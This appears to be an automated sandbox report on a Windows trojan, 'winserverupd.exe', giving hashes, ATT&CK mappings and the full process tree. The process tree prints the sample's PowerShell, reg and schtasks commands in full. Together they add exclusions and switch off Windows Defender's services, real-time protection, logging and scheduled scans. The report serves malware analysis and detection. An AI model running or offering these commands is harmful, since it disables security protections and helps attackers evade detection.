4a009d7516245a7af1dbc74beacd149316212a8cbd045132e7f95118bfafcece

Analysis

max time kernel
91s
max time network
205s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
18/03/2024, 15:12

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General

Target
winserverupd.exe
Size 91KB
Sample240318-slmnvscc5w
SHA256 c06da1d7ce6843074ae3a964dc8aa862151f2196c0e15964d3d9959a44ba89f8
MD5 607acc5a6b670bd144bf3897cda6b233
SHA1 24a2fc93216adb3543ee555473b2f61f333384d2
SHA512 75bd3c2fe2a6b96586e0e1ecf5d282d55f71fb9891961ca1dd6c6be90eaa9a196fd62c8343abfdb039e384895a593f2a01c725451c580980f238c40d764b4643
SSDEEP 1536:r7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfLx4fmSxL2MO2:nq6+ouCpk2mpcWJ0r+QNTBfLyfmSBR
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral12/files/0x000100000002a7ce-1.dat	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
3428	powershell.exe
3428	powershell.exe
2520	powershell.exe
2520	powershell.exe
4164	powershell.exe
4164	powershell.exe
3172	powershell.exe
3172	powershell.exe
4052	powershell.exe
4052	powershell.exe
1400	powershell.exe
1400	powershell.exe
4464	powershell.exe
4464	powershell.exe
996	powershell.exe
996	powershell.exe
4028	powershell.exe
4028	powershell.exe
2956	powershell.exe
2956	powershell.exe
2556	powershell.exe
2556	powershell.exe
788	powershell.exe
788	powershell.exe
768	powershell.exe
768	powershell.exe
1552	powershell.exe
1552	powershell.exe
3812	powershell.exe
3812	powershell.exe
2996	powershell.exe
2996	powershell.exe
1496	powershell.exe
1496	powershell.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	996	powershell.exe
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	788	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeDebugPrivilege	1552	powershell.exe
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 800 wrote to memory of 4676	800	winserverupd.exe	78
PID 800 wrote to memory of 4676	800	winserverupd.exe	78
PID 4676 wrote to memory of 3428	4676	cmd.exe	82
PID 4676 wrote to memory of 3428	4676	cmd.exe	82
PID 4676 wrote to memory of 2520	4676	cmd.exe	83
PID 4676 wrote to memory of 2520	4676	cmd.exe	83
PID 4676 wrote to memory of 4164	4676	cmd.exe	84
PID 4676 wrote to memory of 4164	4676	cmd.exe	84
PID 4676 wrote to memory of 3172	4676	cmd.exe	85
PID 4676 wrote to memory of 3172	4676	cmd.exe	85
PID 4676 wrote to memory of 4052	4676	cmd.exe	86
PID 4676 wrote to memory of 4052	4676	cmd.exe	86
PID 4676 wrote to memory of 1920	4676	cmd.exe	87
PID 4676 wrote to memory of 1920	4676	cmd.exe	87
PID 4676 wrote to memory of 4936	4676	cmd.exe	88
PID 4676 wrote to memory of 4936	4676	cmd.exe	88
PID 4676 wrote to memory of 4080	4676	cmd.exe	89
PID 4676 wrote to memory of 4080	4676	cmd.exe	89
PID 4676 wrote to memory of 1188	4676	cmd.exe	90
PID 4676 wrote to memory of 1188	4676	cmd.exe	90
PID 4676 wrote to memory of 4940	4676	cmd.exe	91
PID 4676 wrote to memory of 4940	4676	cmd.exe	91
PID 4676 wrote to memory of 4376	4676	cmd.exe	92
PID 4676 wrote to memory of 4376	4676	cmd.exe	92
PID 4676 wrote to memory of 3220	4676	cmd.exe	93
PID 4676 wrote to memory of 3220	4676	cmd.exe	93
PID 4676 wrote to memory of 1496	4676	cmd.exe	117
PID 4676 wrote to memory of 1496	4676	cmd.exe	117
PID 4676 wrote to memory of 2160	4676	cmd.exe	95
PID 4676 wrote to memory of 2160	4676	cmd.exe	95
PID 4676 wrote to memory of 2636	4676	cmd.exe	96
PID 4676 wrote to memory of 2636	4676	cmd.exe	96
PID 4676 wrote to memory of 564	4676	cmd.exe	97
PID 4676 wrote to memory of 564	4676	cmd.exe	97
PID 4676 wrote to memory of 1512	4676	cmd.exe	98
PID 4676 wrote to memory of 1512	4676	cmd.exe	98
PID 4676 wrote to memory of 1784	4676	cmd.exe	120
PID 4676 wrote to memory of 1784	4676	cmd.exe	120
PID 4676 wrote to memory of 72	4676	cmd.exe	100
PID 4676 wrote to memory of 72	4676	cmd.exe	100
PID 4676 wrote to memory of 4984	4676	cmd.exe	101
PID 4676 wrote to memory of 4984	4676	cmd.exe	101
PID 4676 wrote to memory of 2392	4676	cmd.exe	102
PID 4676 wrote to memory of 2392	4676	cmd.exe	102
PID 4676 wrote to memory of 2488	4676	cmd.exe	103
PID 4676 wrote to memory of 2488	4676	cmd.exe	103
PID 4676 wrote to memory of 2060	4676	cmd.exe	104
PID 4676 wrote to memory of 2060	4676	cmd.exe	104
PID 4676 wrote to memory of 2308	4676	cmd.exe	105
PID 4676 wrote to memory of 2308	4676	cmd.exe	105
PID 4676 wrote to memory of 1400	4676	cmd.exe	106
PID 4676 wrote to memory of 1400	4676	cmd.exe	106
PID 4676 wrote to memory of 4464	4676	cmd.exe	107
PID 4676 wrote to memory of 4464	4676	cmd.exe	107
PID 4676 wrote to memory of 996	4676	cmd.exe	108
PID 4676 wrote to memory of 996	4676	cmd.exe	108
PID 4676 wrote to memory of 4028	4676	cmd.exe	109
PID 4676 wrote to memory of 4028	4676	cmd.exe	109
PID 4676 wrote to memory of 2956	4676	cmd.exe	110
PID 4676 wrote to memory of 2956	4676	cmd.exe	110
PID 4676 wrote to memory of 2556	4676	cmd.exe	111
PID 4676 wrote to memory of 2556	4676	cmd.exe	111
PID 4676 wrote to memory of 788	4676	cmd.exe	112
PID 4676 wrote to memory of 788	4676	cmd.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\winserverupd.exe
"C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:800
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7138.tmp\7139.tmp\713A.bat C:\Users\Admin\AppData\Local\Temp\winserverupd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\Admin\Appdata\Local" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\Admin\Appdata\Local" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionProcess "MsBuild.exe" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4052
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:1920
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:4936
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:4080
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:1188
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4940
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4376
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3220
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:1496
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:2160
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:564
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1512
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:1784
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:72
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4984
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2392
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2488
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2060
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:2308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -PUAProtection disable" -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ScanScheduleDay 8 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableCatchupQuickScan 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -DisableScriptScanning 1 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ScanAvgCPULoadFactor 5 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -ServiceHealthReportInterval 0 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Set-MpPreference -UnknownThreatDefaultAction 6 -Force"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1496
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:4528
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:484
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:1784
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:3604
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:4020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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